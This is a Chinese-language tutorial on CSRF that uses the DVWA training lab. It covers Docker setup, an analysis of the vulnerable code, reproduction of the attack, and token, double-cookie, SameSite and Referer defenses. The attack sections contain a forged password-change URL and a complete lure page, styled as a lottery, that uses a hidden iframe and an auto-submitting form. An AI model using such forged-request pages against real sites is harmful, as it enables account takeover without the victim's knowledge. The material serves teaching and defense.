DVWA靶场实战:从原理到防御,彻底掌握CSRF跨站请求伪造
你正在开发一个需要用户登录的Web应用或者正在学习网络安全。你是否想过一个看似无害的链接点击后就能在用户不知情的情况下修改其密码、转账、甚至发布不当言论这不是天方夜谭而是跨站请求伪造攻击的典型场景。很多开发者甚至是有经验的开发者都容易低估这种攻击的隐蔽性和危害性认为“用户不点击就没事了”或者简单地加个验证码就万事大吉。今天我们就来彻底搞懂CSRF。这篇文章不会停留在枯燥的理论上而是通过DVWA靶场带你从零开始手把手完成一次完整的CSRF漏洞攻击与防御实战。你将看到攻击者如何仅凭一个精心构造的链接或页面就能“借刀杀人”更重要的是你将学会如何从代码层面用几种主流且有效的方法从根本上修复这个漏洞。读完本文你将获得对CSRF攻击原理的深刻理解明白它为什么能成功以及传统防御手段的局限性。一次完整的攻击复现体验在安全的DVWA靶场中亲手构造并执行一次CSRF攻击直观感受其威力。一套可落地的修复方案掌握包括同步令牌、双重Cookie验证、SameSite Cookie属性在内的多种防御手段并知道它们各自的适用场景和优缺点。绕过常见“伪防御”的思路了解攻击者如何绕过简单的Referer检查从而写出更健壮的代码。我们直接进入正题。1. CSRF漏洞为什么它被称为“沉睡的巨人”CSRF全称Cross-Site Request Forgery中文常译为“跨站请求伪造”。它的核心攻击思路是欺骗用户的浏览器让其以用户的身份向一个用户已认证过的Web应用发送非本意的请求。我们可以用一个生活中的类比来理解假设你家的门锁认证是认钥匙Cookie/Session的。攻击者伪造了一把和你家钥匙一模一样的钥匙伪造请求然后趁你不注意塞进你的口袋诱骗你点击链接/访问页面。当你用这把“假钥匙”去开门时浏览器自动携带Cookie发送请求门就开了请求被执行。整个过程你用户和门锁服务器都没有察觉到异常。在Web中这个过程是这样的用户登录了bank.com服务器在用户的浏览器中设置了一个会话Cookie。用户在没有退出bank.com的情况下访问了攻击者控制的恶意网站evil.com。evil.com的页面中包含一个隐藏的表单或自动发送的请求这个请求的目标是bank.com的某个敏感操作接口如转账。由于浏览器会自动携带bank.com的Cookie这个伪造的请求就被当作是用户的合法请求处理了。CSRF攻击成功需要三个关键条件用户已登录目标网站存在有效的会话。目标网站的业务接口存在缺陷没有足够的CSRF防护。用户被诱骗执行了攻击者设定的操作点击链接、访问页面等。很多开发者会误以为CSRF已经“过时”了因为现代框架如Spring Security、Django都内置了防护。但现实是在自定义接口、老旧系统、或者防护配置不当的情况下CSRF漏洞依然广泛存在。它不直接窃取数据而是“冒用身份执行操作”危害性极大。2. 实验环境搭建DVWA靶场部署理论需要实践来验证。我们将使用Damn Vulnerable Web Application作为我们的实验靶场。DVWA是一个故意设计成存在多种安全漏洞的PHP/MySQL应用非常适合学习和练习Web安全。2.1 环境准备与前置条件为了快速搭建环境我们推荐使用Docker。这能避免复杂的本地PHP、MySQL环境配置实现一键启动。你需要准备一台安装好Docker和Docker Compose的机器Windows/macOS/Linux均可。基本的命令行操作知识。如果尚未安装Docker请先访问 Docker官网 下载并安装适合你系统的Docker Desktop。2.2 使用Docker Compose快速部署DVWA我们将使用一个编写好的docker-compose.yml文件来启动DVWA及其依赖的MySQL数据库。创建项目目录并编写配置文件在你的工作目录下创建一个新文件夹例如dvwa-csrf-lab然后进入该文件夹创建docker-compose.yml文件。# 文件docker-compose.yml version: 3.8 services: mysql: image: mysql:5.7 container_name: dvwa-mysql restart: unless-stopped environment: MYSQL_ROOT_PASSWORD: pssw0rd MYSQL_DATABASE: dvwa MYSQL_USER: dvwa MYSQL_PASSWORD: pssw0rd volumes: - mysql_data:/var/lib/mysql networks: - dvwa-net dvwa: image: vulnerables/web-dvwa container_name: dvwa-app restart: unless-stopped ports: - 8080:80 # 将容器的80端口映射到主机的8080端口 environment: MYSQL_HOST: mysql MYSQL_USER: dvwa MYSQL_PASSWORD: pssw0rd MYSQL_DATABASE: dvwa depends_on: - mysql networks: - dvwa-net volumes: mysql_data: networks: dvwa-net: driver: bridge关键配置解释ports: “8080:80”这意味着你可以在浏览器中通过http://localhost:8080访问DVWA。数据库密码等均为简单密码仅用于实验环境切勿在生产环境使用。启动DVWA服务在包含docker-compose.yml文件的目录下打开终端或命令行执行以下命令docker-compose up -d命令执行后Docker会拉取镜像并启动两个容器。使用docker-compose ps可以查看服务状态当状态均为Up时表示启动成功。访问并初始化DVWA打开浏览器访问http://localhost:8080。首次访问会跳转到设置页面 (/setup.php)。点击页面底部的“Create / Reset Database”按钮。这会初始化数据库并创建必要的表。初始化成功后页面会自动跳转到登录页。默认登录凭证Username:adminPassword:password设置安全等级登录后在左侧菜单找到“DVWA Security”。为了复现CSRF漏洞我们需要将安全等级设置为“Low”。这个等级下防护措施最弱便于我们理解漏洞原理。至此你的DVWA靶场已经准备就绪。3. DVWA CSRF模块漏洞原理分析登录DVWA后在左侧菜单找到“CSRF”并点击进入。这个模块模拟了一个简单的密码修改功能。漏洞点分析在Low安全等级下查看页面源代码或直接查看vulnerabilities/csrf/source/low.php你会发现修改密码的逻辑非常简单// 简化后的核心逻辑 if( isset( $_GET[ Change ] ) ) { $pass_new $_GET[ password_new ]; $pass_conf $_GET[ password_conf ]; if( $pass_new $pass_conf ) { $pass_new mysql_real_escape_string( $pass_new ); $insert UPDATE users SET password . $pass_new . WHERE user . dvwaCurrentUser() . ;; $result mysql_query( $insert ) or die( pre . mysql_error() . /pre ); echo prePassword Changed./pre; } else { echo prePasswords did not match./pre; } }关键问题使用GET请求执行敏感操作修改密码这种敏感操作本应使用POST请求这里却使用了GET。GET请求的参数会完整地暴露在URL中。没有任何防CSRF令牌代码中没有检查任何来自客户端的、不可预测的令牌如CSRF Token。它只检查了会话中存储的用户名 (dvwaCurrentUser()) 和密码是否匹配。依赖Cookie进行身份验证DVWA使用PHPSESSID这个Cookie来维持用户会话。只要这个Cookie有效用户已登录且会话未过期服务器就认为请求来自合法用户。攻击者视角攻击者可以构造这样一个URLhttp://localhost:8080/vulnerabilities/csrf/?password_newhackedpassword_confhackedChangeChange#如果已登录DVWA的用户访问了这个链接他的密码就会被直接修改为hacked而整个过程用户可能毫无察觉如果攻击者将链接嵌入图片的src等属性甚至可能无需点击。4. 手把手复现CSRF攻击理解了原理我们来亲手构造一次攻击。攻击者的目标是在用户不知情的情况下将其DVWA密码修改为evilpassword。4.1 攻击场景一直接URL诱导这是最简单直接的攻击方式。构造恶意URL根据DVWA的代码逻辑我们构造出如下URLhttp://localhost:8080/vulnerabilities/csrf/?password_newevilpasswordpassword_confevilpasswordChangeChange这个URL直接包含了所有必要的参数。实施攻击确保你已用admin账户登录DVWA并且停留在其他页面如首页。在浏览器的新标签页中直接访问上面构造的恶意URL。页面会显示“Password Changed.”。此时admin账户的密码已被修改为evilpassword。你可以尝试退出登录再用旧密码password登录会发现登录失败。用新密码evilpassword则可以登录。攻击成功的关键用户访问这个URL时浏览器会自动携带当前域localhost:8080下的DVWA会话Cookie服务器验证Cookie通过便执行了修改操作。4.2 攻击场景二伪造恶意页面在实际攻击中攻击者不会直接发送一个可疑的链接。更常见的是将攻击代码嵌入一个看似正常的页面中并利用各种手段诱使用户访问。创建恶意HTML文件在你的电脑上创建一个名为csrf_attack.html的文件内容如下!DOCTYPE html html head title快来抽奖/title !-- 利用CSS隐藏iframe实现静默攻击 -- style iframe { display: none; } /style /head body h1恭喜你获得一次抽奖机会/h1 p点击下方按钮查看奖品/p button onclickwindow.location.hrefhttps://www.evil.com/fake-lottery点击抽奖/button !-- 隐藏的iframe用于执行CSRF攻击 -- iframe namecsrf-frame/iframe !-- 自动提交表单的脚本 -- script window.onload function() { // 方法1使用自动提交的隐藏表单 document.getElementById(csrf-form).submit(); // 方法2使用Image对象触发GET请求更隐蔽 // var img new Image(); // img.src http://localhost:8080/vulnerabilities/csrf/?password_newevilpagepassword_confevilpageChangeChange; }; /script !-- 隐藏表单 -- form idcsrf-form actionhttp://localhost:8080/vulnerabilities/csrf/ methodGET targetcsrf-frame input typehidden namepassword_new valueevilpage input typehidden namepassword_conf valueevilpage input typehidden nameChange valueChange /form /body /html模拟攻击用admin账户登录DVWA如果之前密码被改请先用evilpassword登录然后在DVWA Security页面重置数据库再重新用password登录重置到初始状态。重要不要关闭DVWA的标签页保持登录状态。在浏览器中直接打开这个csrf_attack.html文件file://协议。你会发现页面显示了一个抽奖按钮但与此同时你的DVWA密码已经在后台被悄无声息地修改为evilpage了。这个攻击页面的精妙之处社会工程学用“抽奖”作为诱饵吸引用户点击。隐蔽性攻击动作表单提交被隐藏在display: none的iframe中用户看不到任何变化。自动化利用window.onload事件页面加载即自动触发攻击用户甚至不需要点击那个“抽奖”按钮。隔离将攻击请求放在iframe中执行避免对当前“抽奖”页面造成跳转或刷新用户体验毫无中断。通过以上两种方式的复现你应该能深刻感受到CSRF攻击的简单与致命。接下来我们看看如何防御。5. 核心防御机制一同步令牌同步令牌是防御CSRF最主流、最有效的方法之一。其核心思想是在客户端页面中埋入一个服务器生成的、随机的、不可预测的令牌客户端在发起敏感请求时必须携带此令牌服务器端进行校验。5.1 防御原理用户访问包含表单的页面时如修改密码页面服务器生成一个唯一的、随机的Token将其存储在用户的Session中同时输出到页面的表单隐藏域中。用户提交表单时这个Token会随着其他表单数据一起提交到服务器。服务器收到请求后比对请求中的Token和Session中存储的Token是否一致。如果一致说明请求来源于真实的表单页面如果不一致或缺失则拒绝请求。为什么能防御CSRF攻击者构造的恶意页面无法提前获知这个随机Token因为Token与用户Session绑定且每次可能不同因此他构造的请求中无法包含有效的Token服务器校验会失败。5.2 在DVWA中实现Token防御Medium/High等级DVWA的Medium和High安全等级已经实现了Token防御。我们可以通过查看源代码来学习。Medium等级 (source/medium.php):// 检查Token checkToken( $_REQUEST[ user_token ], $_SESSION[ session_token ], index.php ); // ... 后续修改密码逻辑在页面生成时会调用generateSessionToken()函数生成Token并放入表单$token generateSessionToken(); // 在表单中input typehidden nameuser_token value?php echo $token; ? /High等级 (source/high.php): 防御逻辑与Medium类似但Token的生成和校验更加严格。5.3 手动实现一个简单的Token机制为了加深理解我们假设DVWA的Low等级没有防护我们来为其添加一个最简单的Token检查。在页面生成时创建并存储Token// 在 low.php 文件顶部session_start()之后 session_start(); if (empty($_SESSION[csrf_token])) { // 生成一个随机Token这里使用bin2hex和random_bytes保证强度 $_SESSION[csrf_token] bin2hex(random_bytes(32)); } $csrf_token $_SESSION[csrf_token];在表单中输出Token!-- 在修改密码的表单中增加一个隐藏域 -- form action# methodGET input typehidden nameuser_token value?php echo $csrf_token; ? !-- 原有的密码输入框和按钮 -- New password:br input typepassword AUTOCOMPLETEoff namepassword_newbr Confirm new password:br input typepassword AUTOCOMPLETEoff namepassword_confbr br input typesubmit valueChange nameChange /form在处理请求时验证Tokenif( isset( $_GET[ Change ] ) ) { // 首先验证Token if (!isset($_GET[user_token]) || $_GET[user_token] ! $_SESSION[csrf_token]) { die(CSRF token validation failed.); } // 原有的密码修改逻辑... $pass_new $_GET[ password_new ]; // ... }Token使用后更新可选但推荐为了更安全可以在每次验证后更新Token防止Token被重复使用。// 验证通过后销毁旧Token生成新Token unset($_SESSION[csrf_token]); $_SESSION[csrf_token] bin2hex(random_bytes(32));添加Token后我们之前构造的攻击URL和恶意页面都会因为缺少有效的user_token参数而失败。6. 核心防御机制二双重Cookie验证这种方法的思路是既然CSRF攻击的本质是攻击者无法读取目标站点的Cookie那么我们可以利用这个特点。让前端从Cookie中取出一个值并将其作为参数随请求一起发送给服务器服务器再比对这两个值是否一致。6.1 实现步骤用户访问网站时服务器在返回的Cookie中设置一个随机字符串例如CSRF-TOKENabc123。前端JavaScript代码读取这个Cookie的值。前端在发起敏感请求如Ajax POST时手动在请求头如X-CSRF-TOKEN或请求体参数中携带这个值。服务器接收到请求后从Cookie中读取CSRF-TOKEN并与请求头或参数中的值进行比对。一致则通过。6.2 代码示例服务器端设置Cookie// 在用户登录后或页面加载时设置Cookie $csrfToken bin2hex(random_bytes(16)); setcookie(CSRF-TOKEN, $csrfToken, time() 3600, /, , false, true); // HttpOnly建议为false以便JS读取客户端JavaScript读取并发送// 读取Cookie的函数 function getCookie(name) { const value ; ${document.cookie}; const parts value.split(; ${name}); if (parts.length 2) return parts.pop().split(;).shift(); return null; } // 发起Ajax请求时自动添加CSRF Token到请求头 const csrfToken getCookie(CSRF-TOKEN); fetch(/api/change-password, { method: POST, headers: { Content-Type: application/json, X-CSRF-TOKEN: csrfToken // 关键将Cookie中的值放到自定义请求头中 }, body: JSON.stringify({ newPassword: newpass }) });服务器端验证// 在处理请求的PHP文件中 $cookieToken $_COOKIE[CSRF-TOKEN] ?? ; $headerToken $_SERVER[HTTP_X_CSRF_TOKEN] ?? ; // 注意HTTP头中的-会转换为_ if (empty($cookieToken) || $cookieToken ! $headerToken) { http_response_code(403); die(CSRF token mismatch.); } // 验证通过处理业务逻辑...优点实现相对简单无需在服务器端存储Token状态无状态。缺点如果网站存在XSS漏洞攻击者可以窃取Cookie从而绕过此防御。需要确保Cookie的作用域Domain/Path正确并且前端JavaScript能够正确读取和发送。7. 现代浏览器的内置防御SameSite Cookie属性这是近年来最有效的CSRF缓解措施之一由浏览器直接实现。通过设置Cookie的SameSite属性可以控制Cookie在跨站请求中是否被发送。SameSite有三个值Strict最严格。Cookie仅在同站请求即当前页面的URL与请求目标URL的“站点”相同时发送。这意味着从其他网站链接过来的请求即使目标网站已登录也不会携带Cookie。可能会影响用户体验例如从邮件链接点入GitHub需要重新登录。Lax默认值现代浏览器的默认行为。在跨站请求中仅对安全HTTPS的顶级导航如点击链接发送Cookie而对子资源请求如图片、iframe、Ajax则不发送。这很好地平衡了安全性和可用性。NoneCookie在所有上下文中发送即允许跨站使用。必须与Secure属性一起使用即仅限HTTPS。7.1 如何设置在服务器端设置Cookie时指定该属性PHP示例setcookie(SESSIONID, $sessionId, [ expires time() 3600, path /, domain yourdomain.com, secure true, // 仅HTTPS httponly true, samesite Lax // 或 Strict ]);Nginx代理设置修改后端应用返回的Set-Cookie头proxy_cookie_path / “/; secure; HttpOnly; SameSiteLax”;效果当Cookie被设置为SameSiteLax或Strict后我们之前复现的CSRF攻击将自动失效。因为从file://协议或evil.com发往localhost:8080的请求浏览器不会自动携带DVWA的会话Cookie服务器因此无法识别用户身份请求被拒绝。重要提示SameSite是强大的防御层但不能作为唯一的防御手段。一是因为兼容性仍需考虑旧浏览器二是因为它主要防御的是跨站请求对于同站点的XSS攻击导致的CSRF有时称为“同源CSRF”则无能为力。因此最佳实践是组合使用Token和SameSite属性。8. 其他防御措施与最佳实践除了上述核心方法还有一些辅助性的防御措施和工程实践。8.1 检查Referer/Origin头部服务器可以检查请求头中的Referer或Origin字段判断请求来源是否在白名单内。$allowedOrigins [https://yourdomain.com, https://app.yourdomain.com]; $origin $_SERVER[HTTP_ORIGIN] ?? $_SERVER[HTTP_REFERER] ?? ; if (!empty($origin)) { $parsedOrigin parse_url($origin, PHP_URL_HOST); if (!in_array($parsedOrigin, $allowedOrigins, true)) { die(Invalid request origin.); } } // 或者简单检查是否来自同源 if (isset($_SERVER[HTTP_REFERER])) { $refererHost parse_url($_SERVER[HTTP_REFERER], PHP_URL_HOST); $serverHost $_SERVER[HTTP_HOST]; if ($refererHost ! $serverHost) { die(CSRF check failed: Referer mismatch.); } }局限性Referer头可能被浏览器隐私设置或安全软件剥离。Origin头仅存在于CORS请求如Fetch API发起的跨域请求中传统的表单提交不包含。此方法易被绕过不应作为主要防御手段但可作为补充校验。8.2 关键操作使用POST而非GET这是一个重要的安全设计原则GET请求应用于幂等的、获取数据的操作POST请求应用于非幂等的、修改数据的操作。虽然这不能阻止CSRF因为POST请求同样可以伪造但能增加攻击门槛并且与Token等机制配合更好。8.3 增加二次验证对于特别敏感的操作如转账、修改核心账号信息除了CSRF防护还应引入二次验证例如验证码CAPTCHA重新输入密码手机/邮箱验证码这属于业务层防护能在CSRF防护失效时提供最后一道防线。9. 常见问题与排查思路在实际开发和漏洞修复过程中你可能会遇到以下问题问题现象可能原因排查方式解决方案Token验证总是失败1. Token生成或存储失败。2. 前端未正确携带Token。3. 多标签页或异步操作导致Token混乱。1. 检查服务器Session是否正常启用和存储。2. 使用浏览器开发者工具的“网络”选项卡查看请求是否包含Token参数/请求头。3. 对比请求中的Token和服务器Session中的Token值。1. 确保session_start()在输出任何内容前调用。2. 检查表单隐藏域或JS代码是否正确输出了Token。3. 考虑使用每个表单独立的Token或采用更健壮的Token管理策略。设置了SameSiteLax但CSRF攻击在本地测试仍成功1. 测试环境为localhost或127.0.0.1浏览器可能对本地地址有特殊处理。2. Cookie未成功设置SameSite属性。3. 攻击模拟的是同源请求。1. 使用浏览器开发者工具的“应用”-“Cookie”选项卡查看Cookie的属性列表确认SameSite值。2. 尝试使用非环回地址如配置hosts绑定一个域名进行测试。1. 确保服务器端正确设置了Cookie属性。2. 理解SameSite的防御边界它主要防御跨站请求。同源下的XSS攻击仍需靠Token防御。双重Cookie验证在移动端或某些浏览器失效1. 某些浏览器或APP内WebView对第三方Cookie有更严格的限制。2. 前端JS读取Cookie的代码兼容性问题。1. 在不同浏览器和设备上测试。2. 检查Cookie的Domain和Path设置是否正确确保前端JS能读到。1. 不要依赖双重Cookie验证作为唯一手段务必与Token结合使用。2. 确保Cookie的HttpOnly属性为false如果前端需要读取。防御措施导致正常的跨域请求如前端分离架构被阻止1. Token或Cookie验证机制拦截了合法的跨域请求。2. 未正确配置CORS。1. 检查跨域请求的预检OPTIONS请求是否被正确处理。2. 查看浏览器控制台的CORS错误信息。1. 对于需要跨域的API需要在Token验证逻辑中排除OPTIONS预检请求。2. 正确配置CORS响应头如Access-Control-Allow-Origin,Access-Control-Allow-Credentials等。3. 确保跨域请求也携带了正确的Token通常放在自定义请求头中需要在CORS中允许。10. 总结与最佳实践建议通过DVWA靶场的实战我们从攻击和防御两个角度完整地剖析了CSRF漏洞。回顾一下核心要点CSRF攻击很危险它利用的是浏览器对Cookie的自动携带机制在用户无感知的情况下冒用身份执行操作。防御的核心是区分“请求是否来自我的应用”同步令牌CSRF Token是目前最可靠的防御基石。利用浏览器特性将关键Cookie设置为SameSiteLax或Strict能自动阻断绝大多数跨站CSRF攻击这是一道重要的安全防线。组合拳最有效没有任何一种单一防御是完美的。推荐的生产环境实践是同步令牌 SameSite Cookie属性。双重Cookie验证可作为API场景的补充。安全设计原则遵循RESTful规范使用正确的HTTP方法GET用于读POST/PUT/DELETE用于写并对敏感操作实施二次验证。给开发者的行动清单对于新项目直接使用你所选Web框架Spring Security, Django, Laravel, Express.js with csurf等内置的、已维护的CSRF防护中间件/模块。不要自己重复造轮子。对于旧项目改造首先为所有执行状态修改的端点POST, PUT, DELETE, PATCH添加CSRF Token验证。其次将会话Cookie的SameSite属性设置为Lax。检查是否存在使用GET方法执行修改操作的接口将其改为POST。持续关注关注OWASP等安全组织的最新建议了解安全漏洞和防御手段的演进。网络安全是一个攻防对抗的持续过程。理解攻击原理掌握防御方法并将其融入日常开发习惯是每一位开发者构建可靠应用的责任。希望这篇从攻到防的实战指南能帮助你彻底掌握CSRF并在你的项目中筑起一道坚实的安全围墙。